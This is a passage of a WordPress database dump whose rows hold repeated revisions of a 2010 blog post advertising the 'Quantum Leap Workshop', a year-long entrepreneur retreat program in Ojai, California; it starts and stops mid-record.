title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-25', '', '', '2010-10-07 17:14:47', '2010-10-08 00:14:47', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-25/', 0, 'revision', '', 0);
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(1145, 2, '2010-10-07 17:15:24', '2010-10-08 00:15:24', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-26', '', '', '2010-10-07 17:15:24', '2010-10-08 00:15:24', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-26/', 0, 'revision', '', 0),
(1146, 2, '2010-12-27 15:52:45', '2010-12-27 22:52:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="446" height="446" /></a>\r\n<h2><a href="http://www.whcquantumleap.com" target="_blank">Watch my Quantum Leap Workshop Video Introduction!</a><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #808080;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\n<h2><span style="color: #808080;">The   Quantum Leap Workshop is a year-long personal and business development   program designed for forward-thinking entrepreneurs who want more ideas,   clarity, confidence, and velocity to realize their bold vision for a   bigger future–and experience more money, freedom, fulfillment, and joy   in every area of their life!</span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<span style="color: #000000;"> </span>Even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner. If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services. Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n<h2><a href="http://www.whcquantumleap.com/register.html" target="_blank"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></a></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-autosave', '', '', '2010-12-27 15:52:45', '2010-12-27 22:52:45', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-autosave/', 0, 'revision', '', 0),
(1240, 2, '2010-11-16 16:45:19', '2010-11-16 23:45:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">Watch my Quantum Leap Workshop Video Introduction!\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-41', '', '', '2010-11-16 16:45:19', '2010-11-16 23:45:19', '', 1115, 'http://www.whitehotcenter.com/2010/11/16/1115-revision-41/', 0, 'revision', '', 0),
(1147, 2, '2010-10-07 17:20:38', '2010-10-08 00:20:38', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-27', '', '', '2010-10-07 17:20:38', '2010-10-08 00:20:38', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-27/', 0, 'revision', '', 0),
(1148, 2, '2010-10-11 10:44:07', '2010-10-11 17:44:07', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs. I''m taking all I have learned in my 30 years of business building experience and integrated this knowledge into structure to help early stage entrepreneurs take their businesses to the next level of growth,\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-28', '', '', '2010-10-11 10:44:07', '2010-10-11 17:44:07', '', 1115, 'http://www.whitehotcenter.com/2010/10/11/1115-revision-28/', 0, 'revision', '', 0),
(1149, 2, '2010-10-11 10:46:57', '2010-10-11 17:46:57', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs. I''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here 